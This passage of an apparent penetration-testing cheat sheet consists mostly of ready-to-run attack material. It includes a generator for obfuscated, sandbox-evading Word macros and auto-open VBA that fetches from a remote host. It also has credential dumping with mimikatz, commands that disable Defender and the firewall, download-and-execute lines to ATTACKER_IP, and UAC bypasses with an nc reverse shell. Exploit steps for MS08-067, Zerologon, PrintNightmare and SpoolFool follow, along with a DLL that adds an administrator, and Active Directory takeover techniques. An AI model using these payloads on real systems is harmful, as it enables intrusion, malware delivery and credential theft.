     [string]$thischar = [byte][char]$_ + 12
     if($thischar.Length -eq 1)
     {
     $thischar = [string]"00" + $thischar
     $output += $thischar
     }  
     elseif($thischar.Length -eq 2)
     {
     $thischar = [string]"0" + $thischar
     $output += $thischar
     }
     elseif($thischar.Length -eq 3)
     {
     $output += $thischar
     }
    }
    $output
    """
    enc_s = ""
    for c in s:
        itered_char = ord(c) + ceaser_iter
        enc_s += str(itered_char).rjust(3,"0")
    return enc_s


strings = ["Doc1.docm", payload, "winmgmts:", "Win32_Process"]
enc_strings = []

for s in strings:
    enc_strings.append(encrypt_ceaser(s))    


for i,j in zip(strings, enc_strings):
    pass
    #print(f"{i}:{j}")


tpl = f"""
Private Declare PtrSafe Function Sleep Lib "KERNEL32" (ByVal mili As Long) As Long
Sub Document_Open()
 MyMacro
End Sub
Sub AutoOpen()
 MyMacro
End Sub
Function Venus(Goats)
 Venus = Chr(Goats - {ceaser_iter})
End Function
Function Mercury(Grapes)
 Mercury = Left(Grapes, 3)
End Function
Function Gorgon(Topside)
 Gorgon = Right(Topside, Len(Topside) - 3)
End Function
Function Mars(Jupiter)
 Do
 Shazam = Shazam + Venus(Mercury(Jupiter))
 Jupiter = Gorgon(Jupiter)
 Loop While Len(Jupiter) > 0
 Mars = Shazam
End Function
Function MyMacro()
 Dim Earth As String
 Dim Neptune As String
 Dim t1 As Date
 Dim t2 As Date
 Dim time As Long
 t1 = Now()
 Sleep (5000)
 t2 = Now()
 time = DateDiff("s", t1, t2)
 If time < 4.5 Then
    Exit Function
 End If
 If ActiveDocument.Name <> Mars("{enc_strings[0]}") Then
    Exit Function
 End If
 Earth = "{enc_strings[1]}"
 Neptune = Mars(Earth)
 GetObject(Mars("{enc_strings[2]}")).Get(Mars("{enc_strings[3]}")).Create Neptune, Tea, Coffee, Napkin
End Function
"""

print(tpl)

```

### URI to RCE (Follina)

* [https://twitter.com/spaceraccoonsec/status/1530902467306606592](<https://twitter.com/spaceraccoonsec/status/1530902467306606592&#xA;>)
* <https://github.com/JohnHammond/msdt-follina/blob/main/follina.py>

### Offensive VBA

* <https://github.com/S3cur3Th1sSh1t/OffensiveVBA>

Bypasses defender,

* <https://raw.githubusercontent.com/S3cur3Th1sSh1t/OffensiveVBA/main/src/Reverse-Shell.vba>

### ShellExecuteA

```vba
Option Explicit

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" ( _
         ByVal hwnd As Long, _
         ByVal lpOperation As String, _
         ByVal lpFile As String, _
         ByVal lpParameters As String, _
         ByVal lpDirectory As String, _
         ByVal lpShowCmd As Long) As Long

Sub AutoOpen()
Call ShellExecute(0, "Open", "cmd", "/c curl 192.168.49.248/xx", "", 1)
End Sub
Sub Document_Open()
Call ShellExecute(0, "Open", "cmd", "/c curl 192.168.49.248/xx", "", 1)
End Sub


```


# Post Exploitation

### LaZagne

Really simple and sweet tool for credential dumping

* <https://github.com/AlessandroZ/LaZagne>
* <https://github.com/AlessandroZ/LaZagne/releases/tag/2.4.3>

```
.\laZagne.exe all
```

### MSCash

Mscash is a Microsoft hashing algorithm that is used for storing cached domain credentials locally on a system after a successful logon

From mimikatz,

```
privilege::debug
lsadump::cache
```

Cracking it

```
john-jumbo mscash --wordlist=/usr/share/wordlists/rockyou.txt  --format=mscash2
```

### Reading Event Logs

User must be in "Event Log Reader" group [Follow this link](https://evotec.xyz/powershell-everything-you-wanted-to-know-about-event-logs/)

```powershell
Get-WinEvent -ListLog *

# Listing logs of a specific user
$cred = Get-Credentials
Get -WinEvent -ListLog * -ComputerName AD1 -Credentials $cred

# Reading Security logs
(Get-WinEvent -FilterHashtable @{LogName = 'Security'} | Select-Object @{name='NewProcessNam
e';expression={ $_.Properties[5].Value }}, @{name='CommandLine';expression={
$_.Properties[8].Value }}).commandline
```

### Password Dumping

```powershell
# Metasploit
post/windows/gather/enum_chrome
post/multi/gather/firefox_creds
post/firefox/gather/cookies
post/firefox/gather/passwords
post/windows/gather/forensics/browser_history
post/windows/gather/enum_putty_saved_sessions

# Empire
collection/ChromeDump
collection/FoxDump
collection/netripper
credentials/sessiongopher

# mimikatz
privilege::debug
sekurlsa::logonpasswords
lsadump::secrets

# dcsync - secretsdump
impacket-secretsdump morph3@1.3.3.7
```

###

##


# Miscellaneous

## Reflective Loading

* <https://twitter.com/alh4zr3d/status/1588178898210017280?s=46&t=3M009y9X9MgpQbkce8qjmw>

```powershell
$d = (New-Object http://System.Net.WebClient).DownloadData('http://<ip>/Rubeus.exe')
$a = [System.Reflection.Assembly]::Load($d)
[Rubeus.Program]::Main("triage".Split())
```

## Windows Defender

```powershell
# Disable service
sc.exe stop WinDefend

# Disable runtime
Set-MpPreference -DisableRealtimeMonitoring $true

# Remove definitions
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```

## Firewall

```powershell
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off
```

## Ip Whitelisting

```powershell
New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP
```

## Changing Permissions of a file

```powershell
icacls text.txt /grant Everyone:F
```

## Downloading files

```powershell
IEX (New-Object System.Net.WebClient).DownloadString("http://ATTACKER_IP/rev.ps1")
(New-Object System.Net.WebClient).DownloadFile("http://ATTACKER_SERVER/malware.exe", "C:\Windows\Temp\malware.exe")  
Invoke-WebRequest "http://ATTACKER_SERVER/malware.exe" -OutFile "C:\Windows\Temp\malware.exe"  

certutil.exe -urlcache -split -f "http://127.0.0.1:80/shell.exe" shell.exe
```

## Adding user to Domain admins

```powershell
Add-DomainGroupMember -Identity 'Domain Admins' -Members morph3 -Verbose
```

## Base64 Encode-Decode

```powershell
certutil -decode foo.b64 foo.exe
certutil -encode foo.exe foo.b64
```

## Network sharing

Local share

```
net share
wmic share get /format:list
```

Remote share

```
net view
net view \\dc.ecorp.foo /all
wmic /node: dc.ecorp.foo share get
```

Mounting shares

```powershell
net use Z: \\127.0.0.1\C$ /user:morph3 password123
```

Hosting a local smbserver

```
impacket-smbserver -smb2support morph3-share . 
```

## Port Forwarding

```powershell
# Port forward using plink
plink.exe -l morph3 -pw pass123 192.168.1.56 -R 8080:127.0.0.1:8080

# Port forward using meterpreter
portfwd add -l attacker-port -p victim-port -r victim-ip
portfwd add -l 3306 -p 3306 -r 192.168.1.56
```

## Powershell Portscan

```powershell
0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(VICTIM_IP,$_)) "Port $_ is open!"} 2>$null
```

## Recovering Powershell Secure String

```powershell
######
$user = "morph3"
$file = "morph3-pass.xml"
$cred= New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user, (Get-Content $file | ConvertTo-SecureString)
Invoke-Command -ComputerName ECORP -Credential $cred -Authentication credssp -ScriptBlock { whoami }

######
[System.Runtime.InteropServices.marshal]::PtrToStringAuto([System.Runtime.InteropServices.marshal]::SecureStringToBSTR("string"))

######
$Ptr = [System.Runtime.InteropServices.Marshal]::SecureStringToCoTaskMemUnicode($password)
$result = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($Ptr)
[System.Runtime.InteropServices.Marshal]::ZeroFreeCoTaskMemUnicode($Ptr)
$result 
```

## Injecting PowerShell scripts Into sessions

```powershell
Invoke-Command -FilePath scriptname -Sessions $sessions
Enter-PSSession -Session $sess
```

## Enable RDP

In cmd.exe,

```
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
```

In powershell,

```
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

net localgroup "Remote Desktop Users" morph3 /add

# Reruling firewall
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
netsh advfirewall firewall add rule name="allow RemoteDesktop" dir=in protocol=TCP localport=3389 action=allow
```

## Decrypting EFS files with Mimikatz

Follow the link here [How to Decrypt EFS Files](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files)

```py
privilege::debug 
token::elevate 
crypto::system /file:"C:\Users\Administrator\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\thecert" /export

dpapi::capi /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\SID\id"

# Clear text password 
dpapi::masterkey /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\SID\masterkey" /password:pass123

# After this command you must have the exported .der and .pvk files
dpapi::capi /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\SID\id" /masterkey:f2c9ea33a990c865e985c496fb8915445895d80b

openssl x509 -inform DER -outform PEM -in blah.der -out public.pem

openssl rsa -inform PVK -outform PEM -in blah.pvk -out private.pem

openssl pkcs12 -in public.pem -inkey private.pem -password pass:randompass -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

# Import the certificate
certutil -user -p randompass -importpfx cert.pfx NoChain,NoRoot

type "C:\Users\Administrator\Documents\encrypted.txt"
```

## Patching LSA&#x20;

* <https://itm4n.github.io/lsass-runasppl/>

Check if LSA Protection is enabled,

```
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL
```

Upload mimikatz and mimidrv.sys and patch it using&#x20;

```
!+
!processprotect /process:lsass.exe /remove
```

```
c:\Users\administrator\Desktop>.\mimikatz_x64.exe
.\mimikatz_x64.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # !+
[*] 'mimidrv' service not present
[+] 'mimidrv' service successfully registered
[+] 'mimidrv' service ACL to everyone
[+] 'mimidrv' service started

mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

ERROR mimikatz_doLocal ; "" command of "standard" module not found !

mimikatz # !processprotect /process:lsass.exe /remove
Process : lsass.exe
PID 672 -> 00/00 [0-0-0]

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; ...
Session           : Interactive from 0
User Name         : Administrator

...


```


# UAC Bypass

## UACME

Akagi-UACME will %99 be a win here

* <https://github.com/hfiref0x/UACME>

```
akagi64 61 c:\windows\system32\cmd.exe
```

## Technique 1&#x20;

* <https://twitter.com/xxByte/status/1381978562643824644>

```
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value 'c:\users\morph3\nc.exe -e cmd.exe 10.10.10.33 443' -Force

New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force
```

Now simply type "fodhelper" and you should have the shell.

To undo this,

```
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
```

## Technique 2

This technique is pretty solid and does not get detected by the windows defender

* <https://redteamer.tips/uac-bypass-through-trusted-folder-abuse/>
* <https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e>

TLDR; you can fool windows by creating a folder called `c:\windows \System32\` you can put a windows binary(auto elevated ones) there and hijack dlls. There is a full list of hijackable binaries here,

* <https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows>

```
mkdir "C:\Windows \"
mkdir "C:\Windows \System32\"
copy "C:\Windows\System32\computerdefaults.exe" "C:\Windows \System32\computerdefaults.exe"
copy ".\morph.dll" "C:\Windows \System32\Secur32.dll"
"C:\Windows \System32\computerdefaults.exe"
```

* You might need to compile your binary in 64bit arch

```
# x64
x86_64-w64-mingw32-gcc -shared -o test.dll test.cpp

# x86
i686-w64-mingw32-gcc -shared -o test-x86.dll test.cpp
```


# Exploits


# MS03-026 - RPC DCOM

Generating reverse shell payload

```
msfvenom -p windows/shell_reverse_tcp LHOST=x LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
```

Compile the exploit with your shellcode inside

* <https://www.exploit-db.com/exploits/66>

```
gcc ms03-026.c -o ms03-026
```

Run the exploit

```
./ms03-026 5 10.3.3.7
./ms03-026 6 10.3.3.7
```


# MS04-011 - LSASRV

Generating reverse shell payload

```
msfvenom -p windows/shell_reverse_tcp LHOST=x LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
```

Compile the exploit with your shellcode inside

* <https://raw.githubusercontent.com/ishell/Exploits-Archives/master/2004-exploits/0405-exploits/HOD-ms04011-lsasrv-expl.c>

```
i686-w64-mingw32-gcc ms04011-lsasrv-expl.c -o ms04-011 -lws2_32
```

Running it

```
wine ms04-011.exe 1 10.3.3.7 443 443 -t
```


# MS08-67 - Netapi

Detecting it,

```
sudo nmap --script=smb-vuln-ms08-067 10.3.3.7
```

Generating reverse shell payload

```
msfvenom -p windows/shell_reverse_tcp LHOST=x LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
```

Detecting target version&#x20;

```
nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery 10.3.3.7
```

```
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-27 00:20 +03
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 0.00% done
Nmap scan report for 10.11.1.227 (10.11.1.227)
Host is up (0.13s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
| smb-os-discovery: 
|   OS: Windows 2000 (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_2000::-
|   Computer name: jd
|   NetBIOS computer name: JD\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2022-02-26T23:20:47+02:00

Nmap done: 1 IP address (1 host up) scanned in 1.82 seconds
```

Exploiting it,

* <https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py>

```
python2 ms08-067.py 10.3.3.7 2 139
```

please note that 2 is obtained from above


# MS17-010 - Eternalblue

Detecting it

* <https://github.com/REPTILEHAUS/Eternal-Blue/blob/master/checker.py>

```
nmap --script=smb-vuln-ms17-010 1.3.3.7
python2 /opt/eternalblue-ms17-010/checker.py 1.3.3.7
```

Exploiting it,

* <https://null-byte.wonderhowto.com/how-to/manually-exploit-eternalblue-windows-server-using-ms17-010-python-exploit-0195414/>


# CVE-2019-1388

if you have an RDP access always try this method manually.

* <https://dl.packetstormsecurity.net/sniffers/hhupd.exe>


# CVE-2020-1472 - Zerologon

Testing it

* <https://github.com/SecuraBV/CVE-2020-1472/blob/master/zerologon_tester.py>

```
python3 zerologon_tester.py dc01.ecorp.local 1.3.3.7
```

Exploiting it,

* <https://github.com/VoidSec/CVE-2020-1472>

```
python3 cve-2020-1472-exploit.py -t 1.3.3.7 -n ecorp.ocal
```

After this, machine account password should be resetted.

Secretsdump with empty machine account password

```
impacket-secretsdump -no-pass -just-dc ecorp.local/ecorp-dc01\$@10.3.3.7
```


# CVE-2020-16938

[https://twitter.com/jonasLyk/status/1316104870987010048/](https://twitter.com/jonasLyk/status/1316104870987010048/photo/1)


# CVE-2021-1675 - PrintNightmare

To check if it's vulnerable,

Using impackets rpcdump.py,&#x20;

```
rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol
```

Remote exploitation,

Generate a dll,

```
msfvenom -p windows/shell/reverse_tcp LHOST=`x` LPORT=443 -f dll > shell.dll
```

Serve the dll with smbserver

```
impacket-smbserver -debug morph3 . -smb2support
```

Exploiting it,

* <https://github.com/cube0x0/CVE-2021-1675>
* <https://github.com/ly4k/PrintNightmare>

```
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 'C:\addCube.dll'
```

Local exploitation,

* <https://github.com/calebstewart/CVE-2021-1675>

```
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"

or

Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default 
```

<br>


# CVE-2022-21999 - SpoolFool

Link is below

* <https://github.com/ly4k/SpoolFool>

pwn.dll,

```cpp
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <stdlib.h>
  
void pwn() {
    system("net user morph3 Password123! /add");
    system("net localgroup Administrators morph3 /add");
}

  
BOOL APIENTRY DllMain( HMODULE hModule,
 DWORD ul_reason_for_call,
 LPVOID lpReserved
 )
{

 switch (ul_reason_for_call)
 {
	 case DLL_PROCESS_ATTACH:
		 pwn();
	 case DLL_THREAD_ATTACH:
	 case DLL_THREAD_DETACH:
	 case DLL_PROCESS_DETACH:
	 break;

 }

 return TRUE;

}
```

Exploiting it,

```powershell
Import-Module .\SpoolFool.ps1
Invoke-SpoolFool -dll .\pwn.dll
```


# Coerced Auth


# Linux

Linux section won't have much details compared to windows.

## Nfs share mounting

```
mount -t nfs  127.0.0.1:/backup_share /mnt/myfolder -o nolock
```

## Generating shadow hash

Generating sha-512 hashes with python

```
python3 -c 'import crypt;print(crypt.crypt("Password123!", "$6$foobar$"))'
```

Using openssl

```
openssl passwd -6 -salt foobar password123
```

Modifying shadow entry

```
morph3:<hash>:18727:0:99999:7:::
```

## Weird SSH Connections

```
ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-dss morph3@10.3.3.7 -p22000
```

## Port scanning with nc

```
nc -z -v 10.2.2.86 1-65000 2>&1 | grep succeeded

for i in {1..65535}; do echo $i; done | xargs -I% -P 50 sh -c 'nc -z  -w 1 10.2.2.150 %|grep succeeded'

cat ports.txt | xargs -I% -P 50 sh -c 'nc -z  -w 1 10.2.2.22 %|grep succeeded'
```


# Abusing Active Directory ACLs

Get which ACLs are assigned over user alex.morph

```
(Get-ACL "AD:$((Get-ADUser -Identity 'alex.morph').distinguishedname)").access | select ActiveDirectoryRights,IdentityReference
```

```
Get-ObjectAcl -Identity alex.morph -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}

```

Which ACLs do we have over domain groups,

```
Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
```

Same command above but for domain users,

```
Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
```


# ReadLAPSPassword

```
Import-Module .\PowerView.ps1
Get-DomainObject TARGETCOMPUTER
```


# WriteDacl

You can add new ACLs

```powershell
PS C:\\Users> Add-DomainObjectAcl  -PrincipalIdentity "morph3" -TargetIdentity "TARGETOBJECT" -Rights All
Add-DomainObjectAcl  -PrincipalIdentity "morph3" -TargetIdentity "TARGETOBJECT" -Rights All

PS C:\\Users> Get-ObjectAcl -Identity "TARGETOBJECT" -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\\$env:Username")) {$_}}
Get-ObjectAcl -Identity "TARGETOBJECT" -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\\$env:Username")) {$_}}

...

AceType               : AccessAllowed
ObjectDN              : <target-objcet>
ActiveDirectoryRights : GenericAll
OpaqueLength          : 0
...
AceFlags              : None
AceQualifier          : AccessAllowed
Identity              : ECORP\\morph3
```

^ we added the ACL

```powershell
PS C:\\Users> net group "morph3" TARGETOBJECT /add /domain
net group "morph3" TARGETOBJECT /add /domain
The request will be processed at a domain controller for domain ECORP.LOCAL.

The command completed successfully.
```

&#x20;


# GenericWrite

## User has GenericWrite over another user&#x20;

To abuse GenericWrite, we have 2 options.&#x20;

* We can set a service principal name and we can kerberoast that account.&#x20;
* We can set objects like logon script which would get executed on the next time account logs in.

#### Setting SPN,

```
Import-Module .\Powerview.ps1
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('object.local\smith', $SecPassword)

Set-DomainObject -Credential $Cred -Identity maria -SET @{serviceprincipalname='foobar/xd'}
```

or by simply,

```
setspn -a object.local/maria.object.local:1337 object.local\maria
```

#### Changing logon script,

```
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('object.local\smith', $SecPassword)

cd C:\\Windows\\System32\\spool\\drivers\\color
echo 'whoami > C:\\Windows\\System32\\spool\\drivers\\color\\poc.txt' > foo.ps1

Set-DomainObject -Credential $Cred -Identity maria -SET @{scriptpath='C:\\Windows\\System32\\spool\\drivers\\color\\foo.ps1'}
```

## User / Computer has GenericWrite over computer

### RBCD

* <https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution>

```
PS C:\users\administrator\Desktop> . .\Powermad.ps1

PS C:\users\administrator\Desktop> New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)
PS C:\users\administrator\Desktop> $ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
PS C:\users\administrator\Desktop> $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
PS C:\users\administrator\Desktop> $SDBytes = New-Object byte[] ($SD.BinaryLength)
PS C:\users\administrator\Desktop> $SD.GetBinaryForm($SDBytes, 0)

PS C:\users\administrator\Desktop> Get-DomainComputer TARGET | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
VERBOSE: get-domain
VERBOSE: [Get-DomainSearcher] ...

PS C:\users\administrator\Desktop> curl 192.168.255.255/Rubeus.exe -o Rubeus.exe
PS C:\users\administrator\Desktop> .\Rubeus.exe hash /password:Summer2018! /user:attackersystem /domain:TARGET.ECORP.COM

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0 


[*] Action: Calculate Password Hash(es)

[*] Input password             : Summer2018!
[*] Input username             : attackersystem
[*] Input domain               : ...
[*] Salt                       : ...
[*]       rc4_hmac             : <RC4_HMAC>
[*]       aes128_cts_hmac_sha1 : ...
[*]       aes256_cts_hmac_sha1 : ...
[*]       des_cbc_md5          : ...

PS C:\users\administrator\Desktop> .\Rubeus.exe s4u /user:attackersystem$ /rc4:<RC4_HMAC> /impersonateuser:administrator /msdsspn:cifs/TARGET.ECORP.COM /ptt

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0 

[*] Action: S4U

[*] Using rc4_hmac hash: <RC4_HMAC>
[*] Building AS-REQ (w/ preauth) for: 'ECORP.COM\attackersystem$'
[*] Using domain controller: 255.255.255.255:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIF...

[*] Impersonating user 'administrator' to target SPN 'cifs/TARGET.ECORP.COM'
[*] Building S4U2proxy request for service: 'cifs/TARGET.ECORP.COM'
[*] Using domain controller: ...
[*] Sending S4U2proxy request to domain controller ....
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/TARGET.ECORP.COM':

```

x.ps1 has a reverse shell

```
c:\Users\Administrator\Desktop> .\psexec -s \\TARGET.ECORP.COM Powershell -ExecutionPolicy Bypass -File c:\users\administrator\desktop\x.ps1
```

or after setting up the domain object you can s4u2 proxy locally

```
net time set -S dc01.ecorp.local 
impacket-getST -spn cifs/dc01.ecorp.local ecorp/attackersystem\$:'Summer2018!' -impersonate Administrator -dc-ip 192.168.xx.xx

#export the ticket and do psexec to access the DC

export KRB5CCNAME=./Administrator.ccache
impacket-psexec -k -target-ip 192.168.xx.xx dc01.ecorp.local

```

<br>


# ForceChangePassword

You can change user passwords with this&#x20;

```
upload /opt/PowerView.ps1
Import-Module .\PowerView.ps1
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword
```


# WriteOwner

```
$SecPassword = ConvertTo-SecureString 'W3llcr4ft3d_4cls' -AsPlainText -Force;$Cred = New-Object System.Management.Automation.PSCredential('object.local\maria', $SecPassword)

Set-DomainObjectOwner -Credential $Cred -Identity "Domain Admins" -OwnerIdentity maria
```

```
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All -Verbose
net group "Domain Admins" maria /add
```

<br>


# Port Forwarding - Tunneling

## Chisel

* <https://github.com/jpillora/chisel/releases>

Portforwarding,&#x20;

Forwarding remote port 8080 to localhost

On kali,

```
./chisel server --reverse --port 9001

example,
./chisel server --reverse --port 9001
```

On target,

```
.\chisel.exe client <kali-ip>:9001 R:<local-port>:127.0.0.1:<target-port>

example,
.\chisel.exe client 10.10.14.38:9001 R:8080:127.0.0.1:8080
```

Sock5 proxy with chisel,

On kali,

```
./chisel server -p 9001 --socks5 --reverse
```

On target,

```
chisel client <kali-ip>:9001 R:5000:socks
```

R:5000:socks

* the `R` means that we want to perform a reverse port forward.&#x20;
* `5000` will be the port on the attacker machine that will act as the entry point to our SOCKS5 proxy; and
* &#x20;`socks` simply means we are using the SOCKS protocol.

Add `socks5 127.0.0.1 5000` to `/etc/proxychains.conf`

* Don't forget to disable DNS resolution over proxychains.

udp port forward

```
/opt/chisel/chisel_1.7.7_linux_386 server --reverse --port 9001
./chisel_1.7.7_linux_386  client 192.168.119.203:9001 R:10.1.1.89:1978/udp
```

## Sshuttle

This is the best tunneling tool

* <https://github.com/sshuttle/sshuttle>

Standalone (compiled and ready to be executed) binaries,

* <https://github.com/rholder/sshuttle-binary/releases/tag/v0.78.5>
* <https://github.com/rholder/sshuttle-binary/releases/tag/v0.78.0>

```
sshuttle -vvv -e 'ssh -i id_rsa' -r morph3@10.11.1.252 -x 10.11.1.252 10.2.2.1/24
```

```
sudo ./sshuttle -e "ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-dss -c 3des-cbc" -r morph3@10.11.1.252:22000 10.2.2.1/24
```

## SSH

Port forwarding,&#x20;

forwards remote host 10.10.10.99:2049 back to localhost:2049

```
ssh -L 127.0.0.1:1978:10.10.10.99:1978 morph3@1.3.3.7
```

Tunneling,

```
ssh morph3@1.3.3.7 -p22000 -D 127.0.0.1:1080
```

```
proxychains firefox
proxychains impacket-psexec administrator@10.13.37.1
```

## Regeorg

* <https://github.com/sensepost/reGeorg>


# Cloud

* <https://docs.aws.amazon.com/cli/latest/reference/index.html#cli-aws>

## Basic Commands

```
aws s3 ls s3://<bucketname>
aws s3 cp ./poc.txt s3://<bucketname>/poc.txt
aws s3 sync s3://<bucketname>
```

## If you have Access Key and Secret Key

Command below enumerates your access and secret key. Additional buckets can be found via this way.

```
python3 /opt/enumerate-iam/enumerate-iam.py --access-key <accesskey> --secret-key <secretkey>
```

Set your credentials under `~/.aws/credentials`

```
❯ cat ~/.aws/credentials
[default]
aws_access_key_id = <accesskey>
aws_secret_access_key = <secretkey>
```

Some s3api command examples

```
aws s3api list-buckets --query "Buckets[].Name"
aws s3api get-bucket-tagging --bucket <bucketname>
```

If the key has access to lambda function we can check what functions it have

```
aws lambda list-functions
aws lambda list-tags --resource arn:aws:lambda:eu-west-1:957405373060:function:lambdaThrusters-8697c51
```

EC2

```
aws ec2 describe-tags
```


# Mobile

## Static Analysis

* jdgui <http://java-decompiler.github.io/>
* apktool <https://ibotpeaches.github.io/Apktool/>
* dex2jar <https://github.com/pxb1988/dex2jar>
* jadx <https://github.com/skylot/jadx>

## Dynamic Analysis

Set a proxy Install the certificate and you are ready to go

## System level certificate installation

* Export your Burp Certificate Proxy > Options > CA Certificate > Export in DER format
* Convert it to PEM `openssl x509 -inform der -in cacert.der -out burp.pem`
* Rename it with its checksum `mv burp.pem $(openssl x509 -inform PEM -subject_hash_old -in burp.pem | head -1)".0"`
